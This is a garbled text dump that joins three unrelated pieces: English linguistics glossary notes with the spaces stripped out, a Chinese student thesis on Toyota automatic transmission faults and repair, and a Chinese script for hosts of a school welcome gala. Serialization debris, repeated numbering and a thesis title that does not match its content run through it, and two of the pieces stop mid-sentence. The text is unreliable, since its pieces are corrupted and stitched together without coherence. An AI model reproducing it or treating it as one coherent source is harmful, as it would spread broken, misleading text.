@#@theinternalstructureofasentenceisdemonstratedandambiguitycanberevealed.@#@40.Endocentric向心性constructionisonewhosedistributionisfunctionally功能相同equivalenttothatofoneormoreofitsconstituents,awordoragroupofwords,whichservesasadefinablecenterorhead一个词或一组词是整个结构的核心或中心@#@41.Exocentric离心性referstoagroupofsyntacticallyrelatedwordswherenoneofthewordsisfunctionallyequivalenttothegroupasawhole,thatis,thereisnodefinablecentreorheadinsidethegroup.@#@42.Recursion:

@#@therepeateduseofthesameruletocreateinfinitesentences.@#@43.Deepstructure:

@#@theabstractrepresentationofthesyntacticpropertiesofaconstruction.@#@Surfacestructure:

@#@thefinalstageinthesyntacticderivationofaconstruction,whichcloselycorrespondtothestructuralorganizationofaconstructionpeopleactuallyproduceandreceive.@#@44.Textlinguistics:

@#@abranchoflinguisticswhichstudiesspokenorwrittentexts.@#@45.Anaphora:

@#@theuseofawordorphrasewhichrefersbacktoanotherwordorphrasewhichwasusedearlierinatextorconversation.@#@46.Semanticsisthestudyoflinguisticmeaning,themeaningofwords,phrases,andsentences.@#@47.Reference指代meansthetheoryofmeaningwhichrelatesthemeaningofawordtothethingitrefersto,orstandsfor.@#@48.Semantictriangle（OgdenandRichards）meanstherelationbetweenawordandathingitreferstoisnotdirect.（concept）@#@49.Contextualism:

@#@onecanderivemeaningfromobservablecontextswhichincludesituationalcontextandthelinguisticcontext.@#@50.Behaviorism:

@#@meaningisthesituationinwhichthespeakeruttersitandtheresponseitcallsfortheinthehearer.@#@51.Componentialanalysis成分分析法istheapproachthatanalyzewordmeaningbydecomposingisintoitsatomic原子的features.Itshowsthesemanticfeatures语义特征ofaword.@#@52.Entailment蕴涵XJohnkilledBill@#@YBilldied@#@IfXentailsY,themeaningofXisincludedinY.（ifxistrue,yistrue;@#@yisfalse,xisfalse）@#@41.Presupposition预设XJohn’sbikeneedsrepairing@#@YJohnhasabike@#@Yisaprerequisiteofx.（ifxistrue,yistrue;@#@ifxisfalse,yistrue）@#@53.Pragmatics语用学isthestudyofthoserelationsbetweenlanguageandcontextthataregrammaticalizedorencodedinthestructureofalanguage.@#@54.Speechacttheory言语行为理论由Austin提出@#@55.Locutionaryact发话行为（以言指事字面意思）whenwespeakwemoveourvocalorgansandproduceanumberofsounds,organizedinacertainwayandwithacertainmeaning.Theactperformedinthesenseiscalled~@#@56.Illocutionaryact行事行为（以言行事言外之意）whenwespeak,wenotonlyproducesomeunitsoflanguagewithcertainmeaning（locution）,butalsomakeourpurposeinproducingthem,thewayweintendthemtobeunderstood,thisisthe~,whichindicatesthespeaker’sintention.Theutteranceshavesomeillocutionaryforces行事语力@#@57.Perlocutionaryact取效行为（以言成事）Itreferstotheconsequentialeffectsofalocution语句uponthehearer.@#@58.Cooperativeprinciplemeansthatmakeyourcontributionsuchasisrequired,atthestageatwhichitoccurs,bytheacceptedpurposeordirectionofthetalkexchangeinwhichyouareengaged.四个准侧：

@#@maxim@#@Ofquantity数量准则；@#@maximofquality质量准则（修辞）；@#@relation；@#@manner@#@@#@";i:

17;s:

28872:

"汽车自动变速器@#@毕业论文（设计）@#@ @#@@#@题目汽车节油技术探讨@#@ @#@@#@学生姓名刘嘉杰@#@学号3@#@年级专业11级汽车技术服务与营销@#@所在系机电工程系@#@指导教师董汝智职称高级讲师@#@完成时间2013年6月@#@ @#@@#@摘　要@#@当今自动档汽车受广大群众喜爱。

@#@装载自动变速器的汽车不像手动挡汽车频繁的使用离合器踏板，且操作方便、节能环保、起步平稳、为大多新手和懒人带来了方便。

@#@@#@本文介绍了自动变速器的产生、意义、发展过程以和未来发展趋势；@#@分析了自动变速器的类型、结构和工作原理，根据结构和工作原理分析丰田车系自动变速器的故障现象和其诊断方法和排除方法。

@#@@#@自动变速器的技术性能会逐渐下降，容易产生故障，对行驶性、安全性和排放都有很大的影响。

@#@如果不和时的进行检修，损坏程度就会不断加重，甚至导致自动变速器重要零件的严重损坏，失去修理的价值，最后只能更换总成。

@#@因此，对自动变速器故障应和时检修，切记不可带故障运行，以免造成更大的损坏。

@#@@#@关键词：

@#@自动变速器；@#@故障；@#@诊断@#@目　录@#@引言………………………………………………………………3@#@1、自动变速器概述………………………………………………3@#@1.1自动变速器的功用、特点、组成、类型…………………3@#@1.1.1、功用………………………………………………@#@1.1.2、特点………………………………………………@#@1.1.3、组成………………………………………………@#@1.1.4、类型………………………………………………@#@1.2自动变速器的发展…………………………………………4@#@2、丰田自动变速器简介和特点…………………………………4@#@2.1丰田变速器的发展史………………………………………5@#@2.1.1丰田变速器的变化………………………………………………@#@2.1.2丰田变速器的发展方向………………………………………………@#@2.2丰田自动变速箱的型号和结构特点………………………7@#@2.2.1丰田自动变速箱的型号………………………………………………@#@2.2.2丰田自动变速箱的结构特点………………………………………@#@3、自动变速器的故障与维修……………………………………8@#@3.1自动变速器入档跳档冲击故障…………………………8@#@3.1.1自动变速器入档冲击故障维修……………………………………@#@3.1.2自动变速器跳档冲击故障维修……………………………………@#@3.2自动变速器漏油和异响……………………………………10@#@3.2.1自动变速器漏油原因……………………………@#@3.2.2自动变速器异响原因和维修方案……………………………@#@4、丰田自动变速器常见故障分析排除…………………………11@#@4.1常见故障分析排除…………………………………………11@#@4.1.1自动变速器档位故障维修……………………………@#@4.2特殊故障分析排除与维修装配注意事项…………………13@#@致谢…………………………………………………………………14@#@参考文献………………………………………………………………14@#@ @#@@#@引言@#@随着技术发展和社会进步，汽车已经成为人们生活中不可缺少的交通运输工具，而汽车在我国的普和率正在迅速逼近国外发达国家的水平。

@#@然而国内汽车检测维修等相关技术人才远远不能满足需要，成为国内紧缺人才。

@#@近年来，国内培养汽车维修、服务等方面人才的高职类院校如雨后春笋般地涌现出来，培养目标基本上定位在培养社会急需的高等技能型人才。

@#@@#@汽车自动变速器是目前公认的汽车传动系统中的重点和难点技术，目前已经成为各大汽车制造商开发、引进、制造、装备的重点和标准配置。

@#@自动表速器的使用也提高了汽车的驾驶性能、行驶性能和乘坐的舒适性，延长了汽车发动机和传动系的使用寿命，也降低了汽车废气排放污染。

@#@@#@汽车自动变速器是汽车上最为复杂的总成之一，由于结构复杂，技术先进，工作原理复杂，掌握这门技术难度较大，特以丰田系列自动变速器A340E为例，主要介绍其主要组成元件，工作过程，传动路线，以和出现的故障现象和原因，检查和排除故障的方法，清楚易懂，有助于进一步了解自动变速器的工作原理，加深记忆，对于自动变速器的维修方面有较大帮助，维修起来更加轻松。

@#@@#@ @#@@#@1自动变速器概述@#@1.1自动变速器的功用、特点、组成、类型@#@1.1.1功用：

@#@根据行驶阻力的变化，在一定范围内自动地、无级地改变传动比和扭矩比。

@#@ @#@@#@1.1.2特点：

@#@ @#@@#@

（1）取消了离合器，自动变换传动比，减少排放污染。

@#@ @#@@#@

（2）换档平滑、无冲击、振动，噪音小。

@#@ @#@@#@（3）操纵轻便。

@#@ @#@@#@（4）传动效率高，能防止发动机过载。

@#@ @#@@#@1.1.3组成：

@#@主要由液力变矩器、齿轮变速机构、换挡执行机构、液压控制系统、电子控制系统等组成。

@#@@#@1.1.4类型：

@#@ @#@@#@

（1）按汽车的驱动方式分：

@#@1）后驱自动变速器（FR） @#@2）前驱自动变速器（FF） @#@@#@

（2）按传动方式分：

@#@1）普通齿轮式 @#@2）行星齿轮式：

@#@ @#@3）链条式：

@#@（少数） @#@@#@（3）按控制方式分：

@#@1）液控液力自动变速器（AT） @#@2）电控液力自动变速器（AMT） @#@@#@（4）按传动比变化方式分：

@#@1）有级式自动变速器 @#@2）无级式自动变速器3）综合式自动变速器 @#@@#@（5）按变矩器的类型分：

@#@1）无锁止离合器的变矩器 @#@2）有锁止离合器的变矩器@#@1.2自动变速器的发展@#@汽车自动变速器的发展经历了漫长的历程,从1939年第一台液力机械式自动变速器在美国CM公司诞生，至今已经有74年的历史了，其间经历了多次技术革新。

@#@1939年至1950年的11年间是液力变速器的成长期。

@#@这时期的结构特点是液力传动不采用液力耦合器，机械变速器部分采用行星齿轮。

@#@这种形式结构虽然简单，成本也低，但液力传动部分只能起到联轴器的作用，不能改变转矩。

@#@而传动转矩的改变则完全靠行星齿轮机构来完成。

@#@1950年，美国福特汽车公司成功的研制了装用液力改变矩的3档液力自动变速器，从此轿车用的液力自动变速器进入了成熟期。

@#@@#@液力自动变速器行星齿轮机构的挡数和速比范围，随着汽车的高速比、低油耗和低噪音等要求不断提高而有增加的倾向，1977年，丰田公司开发的4挡液力自动变速器。

@#@1977年后，日本丰田汽车公司成功以研制了具有超速挡的液力自动变速器。

@#@该变速器采用三元件液力变矩器与多挡行星齿轮相结合的结构，这不但提高了变速器的变矩比，而且使换挡圆滑，传动效率也更高。

@#@辛普森式（Simpson）行星齿轮变速器是在自动变速器中应用最广泛的一种行星齿轮变速器，它是由美国福特公司的工程师辛普森发明的。

@#@@#@1989年，日产汽车公司开发的5档液力自动变速器都已装车使用，这两种变速器都在原3挡和4挡液力变速器的基础上，加装一组行星变速齿轮机构而形成的。

@#@1983年，日产汽车公司成功研制了4档液力自动变速器用的行星齿轮机构，其最大的特点是结构紧凑，从而为液力自动变速器的多挡化提供了条件。

@#@@#@随着自动变速器的发展，其结构和性能也在不断完善，特别是近年来随着电子技术和自动控制技术在汽车上的应用，出现了电控自动变速器，它包括电控液力机械传动的自动变速器和电控齿轮式机械传动的自动变速器。

@#@电控自动变速器可实现与发动机的最佳匹配，并可获得最佳的经济性、动力性、安全性和达到降低发动机排气污染的目的。

@#@@#@2、丰田自动变速器简介和特点@#@2.1丰田变速器的发展史@#@由于引起换挡冲击的原因比较多，因此，在诊断的过程中，必须循序渐进，对自动变速器的各个部位做认真的检查，一定要在全面的检测基础上，有针对性的进行分解修理，切记不可盲目拆修。

@#@总体而言若是由于调整不当造成的，只有稍作调整即可排除：

@#@若是自动变速器内部控制阀、减震器或换挡执行元件有故障，应该分解自动变速器，予以修理：

@#@若是电子控制系统有故障，应该对电子控制系统进行检测。

@#@找出具体原因，加以排除。

@#@@#@2.1.1丰田变速器的变化@#@时距60多年的今天，汽车自动变速器已经发生了重大的变化。

@#@这种变化主要体现在以下几个方面。

@#@@#@一是汽车自动变速器向多个档位方向发展，5档或者是6档自动变速器将逐步取代4档自动变速器的主导地位。

@#@档位多使变速器具有更大的速比范围和更细密的档位之间的速比分配，从而改善汽车的动力性、燃油经济性和换挡平顺性。

@#@为了缩小体积和减轻重量，要采用紧凑化设计，简化内部结构，引入电子控制系统，采用轻质材料。

@#@例如：

@#@ZF6H26变速器设计基于一种名为Leppetler的齿轮设计，使6个档位之间的齿轮大为减少，简化了内部结构，齿轮重量减少了11公斤。

@#@整个操作界面改为线控技术有电子信息操纵换挡。

@#@用塑料材料做油底壳和铝合金变速器箱体，进一步减轻重量。

@#@@#@二是采用多电磁阀方式控制换挡，明显改善换挡质量。

@#@以前的自动变速器的执行器只有一两个电磁阀，现在许多自动变速器已有多个电磁阀。

@#@尤其是换挡电磁阀数量的增加使得换挡电磁阀完全取替了节气门油压和速度油压对D档位升降档的控制。

@#@变速器上各种新的电磁阀相继出现，例如整式电磁阀，倒挡电磁阀、扭力转换电磁阀、扭力缓冲电磁阀、强制降档电磁阀大量涌现使得电控系统对变速器的控制范围进一步扩大。

@#@现在。

@#@一些变速器的换挡电磁阀完全负责了对D档、手动模式、倒挡的控制。

@#@被称为全电子控制自动变速器。

@#@模糊控制技术的设置使变速器电脑可以学习、模拟驾驶者的驾驶习惯，自动修正控制指令，是汽车进一步体现人性化。

@#@例如在ZF6档自动变速器中，为了控制系统压力实现换挡，设置了6个具有高流量特点的脉宽调制电磁阀，一个可变力电磁阀等。

@#@中央电脑中还附加一个名为自适应式换挡，这个系统持续不断地收集行车数据。

@#@例如倒挡、行驶状态、驾驶者驾驶习惯等，通过变速器电脑学习模拟并建立起相关的行车程式，以最佳效果满足驾驶者的需求。

@#@@#@三是通过改造油泵、优化液压控制系统提高变速器的传动效率。

@#@自动变速器在结构上主要由液力变矩器、油泵和机械齿轮传动机构组成。

@#@由于液力变矩器通过液力使泵轮、涡轮和导论工作，油泵运转会消耗能量，加入换挡执行元件的摩擦又会消耗能量，使得自动变速器的传动效率低于手动变速器，因此耗油也会高于手动变速器。

@#@采用现代控制理论的电控技术，自动变速器的机械效率已经大大提高。

@#@通过降低油泵的轴向和径向泄漏来提高油泵效率，同时整个油泵系统设计进行改进，可以进一步提高油泵高转速时的传动效率。

@#@另外，通过传动机构类型多样化设计，结构细部的设计改进，多排行星齿轮组合机构，优化齿轮特性参数和支撑结构等技术改进，今天的自动变速器技术已有重大发展，但是从整体看自动变速器的传动效率与手动变速器相比仍存在10%的差异。

@#@一些自动变速器中用到的重锤调节原理就是通常说的"@#@机械调节器"@#@或”离心调节器”的基本原理。

@#@明白了它的道理，对其它类似机械的原理也就清楚了，正所谓“一理通百理明”。

@#@@#@2.1.2丰田变速器的发展方向@#@作为汽车关键总成之一，变速器技术在汽车诞生的百年历史中在不断地与时俱进。

@#@手动变速器由于其传递动力的直接与高效性，加上制作技术的成熟与低成本，现代汽车中装备手动变速器的汽车仍然占有很大比例。

@#@但随着人们对汽车舒适性要求越来越高，现代汽车自动变速器装备率越来越高却是一个不争的事实，尤其是当自动变速器也逐渐能够兼顾操控性的时候。

@#@但，传统自动变速器技术却由于其效率的低下而在等待一场革命。

@#@我们想要知道的是，自动变速器的未来究竟将走向何方？

@#@在当前多种技术的研发中，自动变速器技术逐渐呈现出了比较明显的三大发展趋势，一是以德国大众汽车公司为代表的双离合技术，二是无级变速技术即CVT技术，三是多家公司已然推出的多挡位技术。

@#@对于双离合变速器技术，当前业内公认的最先进最成熟的毫无疑问是大众公司的DSG，从2003年6档DSG的大规模应用，到2008年7档DSG首次装备平民车型第六代高尔夫，大众公司无一不是走在了时代的前列。

@#@但挑战也客观存在，从宝马的DKG到三菱的SST，从保时捷的PDK到日产的DCT，加上福特新近推出的Powershift，双离合已然成为当前最时髦的技术名词之一。

@#@@#@大部分车迷都知道双离合变速器不仅有着优秀的燃油经济性同时换挡更快速、顺畅。

@#@至于双离合变速器是如何实现这一功效的则可能并不是所有人都了解。

@#@要知道什么是双离合变速器，首先我们先要了解一下它的背景：

@#@汽车自动变速器有多种不同的技术，其中最新的同时也是发展最快的是双离合器自动变速器技术。

@#@@#@无级变速技术的发展相对比较缓慢，传动带的强度问题是根本制约因素。

@#@但该技术所以一直没有被放弃，主要还是因为它那换挡于无声息之间的舒适性！

@#@可以断言，一旦传动带不能承受大扭力的技术难关被攻克，无极变速器的发展将迎来一个全新的时代。

@#@当前，无级变速器匹配的大都是一些小排量发动机，日产天籁的3.5L机型已然接近技术上限！

@#@CVT技术的发展，已经有了一百多年的历史。

@#@德国奔驰公司是在汽车上采用CVT技术的鼻祖，早在1886年就将V型橡胶带式CVT安装在该公司生产的汽油机汽车上。

@#@1958年，荷兰的DAF公司H.VanDoorne博士研制成功了名为Variomatic的双V型橡胶带式CVT，并装备于DAF公司制造的Daffodil轿车上，其销量超过了100万辆。

@#@但是由于橡胶带式CVT存在一系列的缺陷：

@#@功率有限（转矩局限于135Nm以下），离合器工作不稳定，液压泵、传动带和夹紧机构的能量损失较大，因而没有被汽车行业普遍接受。

@#@@#@相对而言，变速器的多挡位趋势主要还是体现在某些高档品牌和车型中，但却有向下普和的趋势，如果已经实现国产的第六代高尔夫真如人们所猜测的那样配备了7挡DSG变速箱，那么，这或者可以视为这场普和风暴的开端！

@#@反观国内自主企业，不要以为他们已经放弃追赶，盛瑞公司的8AT项目已经小有成果，更有12家车企联手博格华纳研发双离合变速器——尽管目前都面临着一些实际困难！

@#@@#@2.2丰田自动变速箱的型号和结构特点@#@丰田自动变速箱的型号与通用自动变速箱的型号不一样，都具有比较特定的含义，了解和掌握这些特定的含义，我们便可以先从型号上知道变速箱的一些特点，从而为我们后面的维修工作打下基础。

@#@@#@2.2.1丰田自动变速箱的型号@#@一般用A表示自动变速器，M表示手动变速器，有的变速器型号前加上表明生产厂家的字母，如ZF表示德国ZF公司生产的自动变速器。

@#@用F表示前轮驱动，R表示后轮驱动。

@#@前进档用数字表示，用E表示电控，L表示液控，EH表示电液控制。

@#@生产、改进序号是指自动变速器是基本型还是改进型，额定输出转矩指自动变速器能够传动的最大转矩。

@#@@#@以丰田自动变速器为例：

@#@@#@目前丰田自动变速器的型号以A340E这种型号中有3个数字为代表，这种形式的变速器主要有A140E、A245E、A541E、A650E、A750E、A760E、U341E、U241E、U151F、A540H等，其中：

@#@@#@A-----表示自动变速器；@#@若是U则表示超级智能自动变速器，且为前轮驱动。

@#@@#@3------其中1、2、5表示前轮驱动，3、4、6、7表示后轮驱动。

@#@@#@4------表示前进档位数，4表示四档自动变速器，5表示五档自动变速器，6表示六档自动变速器。

@#@@#@0------表示生产序号，0是基本型，1是一次改进，2是二次改进。

@#@@#@E------表示电控自动变速器，同时具有锁止离合器；@#@H或F表示四轮驱动自动变速器，均省略了E。

@#@@#@2.2.2丰田自动变速箱的结构特点@#@1.丰田自动变速箱是最早采用电控系统的知道变速箱之一，因此其纯液控变速箱较少，现在运用较多的一般都是半电控式或全电控自动变速箱，半电控自动变速箱都由一根节气门拉线调节主油压，这种拉线只调油压，不调换挡点。

@#@@#@2.在丰田汽车自动变速箱中，行星齿轮机构大多采用辛普森行星齿轮机构，其特点是共用太阳轮，整体结构比较简单，这有利于初学者理解和分析变速箱的传动路线，并掌握其维修方法。

@#@@#@3.丰田四速自动变速箱都由一个超速行星排和一个辛普森行星排组成，一般后驱变速器的超速行星排则装在变速箱的尾部。

@#@@#@4.对于比较老款的丰田电控自动变速箱，多数阀体上有三个电磁阀，其中包括两个换挡电磁阀和一个锁止电磁阀。

@#@当变速箱出现故障进入安全应急模式运行时，电控系统通常将变速箱锁定在四档。

@#@@#@5.丰田自动变速箱在机械构造方面，一般都设计有2档手动带式制动器，因此当变速杆置于手动2档时，车辆都只有发动机制动作用。

@#@@#@6.丰田自动变速箱的变矩器都具有锁止功能。

@#@@#@3、自动变速器的故障与维修@#@3.1自动变速器入档跳档冲击故障@#@3.1.1自动变速器入档冲击故障维修@#@不能升档故障的诊断@#@故障现象：

@#@@#@

（1）汽车行驶中自动变速器始终保持在1档，不能升入2档或高速档。

@#@@#@ @#@ @#@

（2）行驶中自动变速器可以升入2档，但不能升入3档或高速档。

@#@@#@故障原因：

@#@@#@ @#@ @#@

（1）节气门拉索或节气门位置传感器调整不当。

@#@@#@ @#@ @#@

（2）调速器有故障。

@#@@#@ @#@ @#@（3）调速器油路严重泄漏。

@#@@#@ @#@ @#@（4）车速传感器有故障。

@#@@#@ @#@ @#@（5）2档制动器或高档离合器有故障。

@#@@#@ @#@ @#@（6）换档阀有卡滞。

@#@@#@ @#@ @#@（7）档位开关有故障。

@#@@#@故障诊断与排除：

@#@@#@ @#@ @#@

（1）对于电子控制自动变速器，应先进行故障自诊断。

@#@影响换档控制的传感器有:

@#@节气门位置传感器、车速传感器、。

@#@按所显示故障代码查找原因。

@#@@#@ @#@ @#@

（2）按标准重新调整节气门拉索或节气门位置传感器。

@#@@#@ @#@ @#@（3）检查车速传感器。

@#@如有损坏，应予以调整或更换。

@#@@#@ @#@ @#@（4）检查档位开关的信号。

@#@如有异常，应予以调整或更换。

@#@@#@ @#@ @#@（5）测量调速器油压。

@#@若车速升高后调速器油压应为0或很低，说明调速器有故障或调速器油路严重泄漏。

@#@对此，应拆检调速器。

@#@调速器芯如有卡滞，应分解清洗，并将阀芯和阀孔用金相砂纸抛光。

@#@若清洗抛光后仍有卡滞，应更换调速器。

@#@@#@ @#@ @#@（6）用压缩空气检查调速器油路有无泄漏，如有泄漏，应更换密封圈或密封环。

@#@@#@（7）若调速器油压正常，应拆卸阀板检查各个换档阀。

@#@换档阀如有卡滞，可将阀芯取出，用金相砂纸抛光。

@#@再清洗后装人。

@#@如不能修复，应更换阀板。

@#@@#@ @#@ @#@（8）若控制系统无故障，应分解自动变速器，检查各个换档执行元件有无打滑，用压缩空气检查各个离合器、制动油路或活塞有无泄漏。

@#@@#@3.1.2自动变速器跳档冲击故障维修@#@故障现象：

@#@@#@汽车在D位行驶时，即使在好路上加速踏板保持不变，也在3档4档间反复切换，此现象称为频繁跳档。

@#@@#@故障原因：

@#@@#@

（1）节气门开度传感器“中段”磨损。

@#@@#@

（2）空档开关故障。

@#@@#@（3）车速传感器脉冲信号不准确。

@#@@#@（4）电磁阀接触不良。

@#@@#@（5）电脑有故障。

@#@@#@（6）转速传感器跟车速传感器线束插头接反了。

@#@@#@故障诊断与排除：

@#@@#@

（1）检查节气门开度传感器。

@#@用指针式电压表或电阻表，指针直接搭在测试端子，负极搭铁。

@#@慢慢踩加速踏板时，电压或电阻应逐渐平衡地变化，如指针有波动，必须更换节气门开度传感器。

@#@表针有较大波动，就会导致在好路上频繁换挡。

@#@@#@

（2）检查空挡开关。

@#@空档开关故障造成的跳档多表现为好路上不跳档，在坏路上一遇颠簸就跳档实际原因是汽车在D位3档或4档高速行驶中遇到颠簸后，空档开关的活动触点离开D位上固定触电和旁边2位上固定触点相连，变速器跳到了手动2档，再次遇到颠簸活动触点又可能回到D位。

@#@@#@（3）检查车速传感器脉冲信号。

@#@自动变速器升降档是由节气门油压和速度油压决定的。

@#@节气门油压高时变速器降档，速度油压高时变速器升档。

@#@车速传感器脉冲信号误差过大无法准确反应实际车速，会导致自动变速器跳档。

@#@@#@（4）检测电磁阀接触情况。

@#@模拟路况行车，检测电磁阀是否正确开关，若输入信号正确，电磁阀工作异常测更换。

@#@@#@（5）检查电脑。

@#@电脑上的故障表现为不稳定，即有时换挡点正常，有时频繁跳档，有时可以调出故障代码，有时不可以。

@#@换一个电脑试一下，若故障消失，则更换电脑。

@#@@#@（6）转速传感器很车速传感器线束插头是否接反。

@#@如发现接反了，应接好线束插头。

@#@@#@3.2自动变速器漏油和异响@#@3.2.1自动变速器漏油原因@#@漏油原因：

@#@1>@#@正常磨损（如正常行驶6万km以上的车辆。

@#@）2>@#@装配原因（如装配变矩器时，油封唇口、变矩器轴颈不涂润滑脂或润滑油导致油封唇口滑伤，油封装配过深，过浅和装偏等）3>@#@油泵圆周方向的O形密封圈或固定油泵的7颗螺栓处泄漏：

@#@O形圈损坏、螺栓未按标准力矩拧紧或螺栓拉伸、螺栓的螺纹孔内有油导致即使达到标准力矩，实际上并没有压紧油泵、油泵的滑动轴承处泄漏。

@#@@#@3.2.2自动变速器异响原因和维修方案@#@自动变速器异响故障的诊断@#@故障现象@#@

（1）在汽车运转过程中，自动变速器内始终有异响声。

@#@@#@

（2）汽车行驶中自动变速器有异响，停车挂至空档后异响消失。

@#@@#@故障原因@#@

（1）油泵磨损过深或液压油面高度过低、过高而产生异响。

@#@@#@

（2）变矩器因锁止离合器、导论单向超越离合器等损坏而产生异响。

@#@@#@（3）行星齿轮机构异响。

@#@@#@（4）换挡执行元件异响。

@#@@#@故障诊断与排除@#@

（1）检查自动变速器液压油面高度。

@#@若太高或太低，应调整至正常高度。

@#@@#@

（2）用举升器将汽车升起，起动发动机，在空档、前进档、倒挡等状态下检查自动变速器异响的部位和时刻。

@#@@#@（3）若在任何档位下自动变速器中始终有连续的异响，通常为油泵或变矩器异响。

@#@对此，应拆检自动变速器，检查油泵有无磨损、变矩器内有无大量摩擦粉末。

@#@如有异常，应更换油泵或变速器。

@#@@#@若自动变速器只在行驶中才有异响，空档时无异响，则为行星齿轮机构异响。

@#@对此，应分解自动变速器，检查行星排各个零件有无磨损痕迹，齿轮有无断裂，单向超越离合器有无磨损，卡滞，轴承或止推垫片有无损坏。

@#@@#@4、丰田自动变速器常见与特殊故障分析排除@#@4.1常见故障分析排除@#@在诊断前首先要询问用户的基本情况，并详细询问故障情况，是否有故障码，故障码是否具有偶尔性，特定档位或任何档位车辆是否可以行使：

@#@有无升档降档功能；@#@换挡是否有异响等等。

@#@在此基础上摸索着重现故障征兆，通过模拟来确认故障征兆，这是非常重要的，因为用户分不清故障征兆还是正常现象，而有时征兆并不能时时出现，要通过多次模拟才能重现并确认。

@#@另外用户对故障的了解和描述可能并不完整，只有通过维修人员模拟实验才能确认是否有故障，是什么故障。

@#@@#@4.1.1自动变速器档位故障维修@#@车辆没有前进档或倒挡@#@无前进挡@#@故障现象：

@#@@#@

（1）汽车倒档行驶正常，在前进档时不能行驶。

@#@@#@

（2）操纵手柄在D位时不能起步，在S位、L位（或2位、1位）时可以起步。

@#@@#@故障原因：

@#@@#@

（1）前进离合器严重打滑。

@#@@#@

（2）前进单向商合器打滑或装反。

@#@@#@（3）前进离合器油路严重泄漏。

@#@@#@（4）操纵手柄调整不当。

@#@@#@故障诊断与排除：

@#@@#@ @#@

（1）检查操纵手柄的调整情况。

@#@如有异常，应按规定程序调整。

@#@@#@ @#@

（2）测量前进档主油路油压。

@#@若油压过低，说明主油路严重泄漏，应拆检自动变速器，更换前进档油路上的各处密封圈和密封环。

@#@@#@ @#@（3）若前进档的主油路油压正常，应拆检前进离合器，如磨擦片表面粉末冶金层有烧焦或磨损过甚，应更换磨擦片。

@#@@#@ @#@（4）若主油路油压和前进离舍器均正常，则应拆检单向离合器检查单向离合器的安装方向是否正确以和有无打滑。

@#@如有装反，应重新安装:

@#@如有打滑，应更换新件。

@#@@#@无倒档@#@故障现象：

@#@汽车在前进档能正常行驶，但在倒档时不能行驶。

@#@@#@故障原因：

@#@@#@

（1）操纵手柄调整不当。

@#@@#@

（2）倒档油路泄漏。

@#@@#@（3）倒档和高档离舍器或低档和倒档制动器打滑。

@#@@#@故障诊断与排除：

@#@@#@

（1）检查操纵手柄的位置。

@#@如有异常，则应按规定程序重新调整。

@#@@#@

（2）检查倒档油路油压。

@#@若油压过低，则说明倒档油路泄漏。

@#@对此，应拆检自动变速器，予以修复。

@#@@#@（3）若倒档油路油压正常，应拆检自动变速器，更换损坏的离合器片或制动器片（制动带）。

@#@@#@换挡冲击大@#@故障现象：

@#@@#@

（1）在汽车行驶中，升档车速明显高于标准值，升档前发动机转速偏高。

@#@@#@

（2）必须采用松油门提前升档的操作方法才能使自动变速器升人高档或超速档。

@#@@#@故障原因：

@#@@#@

（1）节气门拉索或节气门位置传感器调整不当。

@#@@#@

（2）节气门位置传感器损坏。

@#@@#@（3）调速器卡滞。

@#@@#@（4）调速器弹簧预紧力过大。

@#@@#@（5）调";i:

18;s:

26648:

"热门中专迎新晚会主持词@#@中专迎新晚会主持词@#@中专迎新晚会主持词@#@ @#@@#@　　1：

@#@尊敬的各位领导@#@　　2：

@#@各位来宾@#@　　3：

@#@亲爱的老师同学们@#@　　4：

@#@大家，@#@　　合：

@#@晚上好！

@#@@#@　　1：

@#@欢迎大家来到“20xx年xxxx中专迎新生文艺晚会”的现场！

@#@我是主持人xxx。

@#@@#@　　2：

@#@我是主持人xxx。

@#@@#@　　3：

@#@我是主持人xxx。

@#@@#@　　4：

@#@我是主持人xxx。

@#@@#@　　1：

@#@今晚，鲜花簇拥，群星璀璨，我们举杯相庆，欢迎来自五洲四海、祖国八方的莘莘学子。

@#@@#@　　2：

@#@xx人是幸运的，不仅仅仅因为如愿以偿的迈进了中专的校门，更因为幸运的我们将亲眼见证xx中专即将到来的百年华诞！

@#@@#@　　3：

@#@闪光的校训，郎照的明灯，让我们继续秉承这份光荣前行：

@#@修德、博学、求实、创新！

@#@@#@　　4：

@#@古老的xx，年轻的xx，将因为你，因为我，因为每一个朝气蓬勃的华农学子而生生不息、华年永驻！

@#@@#@　　1：

@#@嘹亮的号角在耳边回响，求学的钟声已经敲响，青春！

@#@让我们想梦想的方向DD飞翔！

@#@@#@　　2：

@#@在晚会开始之前，请允许我介绍今晚到场的各位领导及嘉宾。

@#@他们分别是xxxx@#@　　让我们再次以热烈的掌声欢迎他们的到来！

@#@@#@　　节目一：

@#@@#@　　1：

@#@xxx中专美丽的校园中常常飘扬着乐声，黄昏里轻柔悠扬的管弦乐，这就是校管乐团每一天的训练带来的人文气息。

@#@校管乐团建团以来，成绩不俗，如今更拥有xx人的规模。

@#@@#@　　2：

@#@下方就让我们共同欣赏由校管乐团带来的管乐合奏《赛马》、《山丹丹花开红艳艳》，由xx老师指挥，领唱：

@#@xx，掌声有请！

@#@@#@　　节目二：

@#@@#@　　3：

@#@花香鸟语，这是华农的季节！

@#@@#@　　4：

@#@欢欣雀跃，这是相聚的喜悦！

@#@@#@　　3：

@#@我们欢迎五湖四海的新同学来到美丽的华农大，我们的热情和祝福借歌舞来表达！

@#@@#@　　4：

@#@下方请欣赏有艺术学院服装表演班的同学们带来舞蹈《雀舞花开》！

@#@@#@　　节目三：

@#@@#@　　2：

@#@xxx，师兄师姐们带来了节目，我们的08级的新同学是不是也要有所表示呢？

@#@@#@　　1：

@#@xxx不要着急，我们的新生当然不甘示弱，这个节目绝对能让你震撼！

@#@因为它充分体现了龙的传人秉承和发扬民族的精神的豪迈和活力！

@#@@#@　　2：

@#@这么了不起！

@#@立刻有请工程学院给我们带来新生节目《龙腾狮跃》！

@#@@#@　　节目四：

@#@@#@　　3：

@#@青青校园，朗朗书声，那里是圣洁的象牙塔；@#@@#@　　4：

@#@声声笑语，纯纯年华，我们是理想的白鸽。

@#@@#@　　3：

@#@在人生最值得珍惜的中专时光，但愿每一个同学都能以充沛的活力享受每分每秒。

@#@@#@　　4：

@#@此刻，校艺术团健美操队和校健美操队的同学们将共同为我们表演《活力啦啦操》！

@#@掌声有请！

@#@@#@　　节目五：

@#@@#@　　4：

@#@我们共同领略了管乐团典雅恢弘的演奏，下方立刻给大家带来热辣动感的电声乐表演！

@#@让我们跟着校艺术团电声乐队的节奏，一齐将不可阻挡的潮流和快乐进行到底！

@#@有请电声乐队！

@#@@#@　　节目六：

@#@@#@　　2：

@#@汗水蒸腾，化作绚丽霓虹；@#@绿色戎装，连成大地玫瑰；@#@@#@　　1：

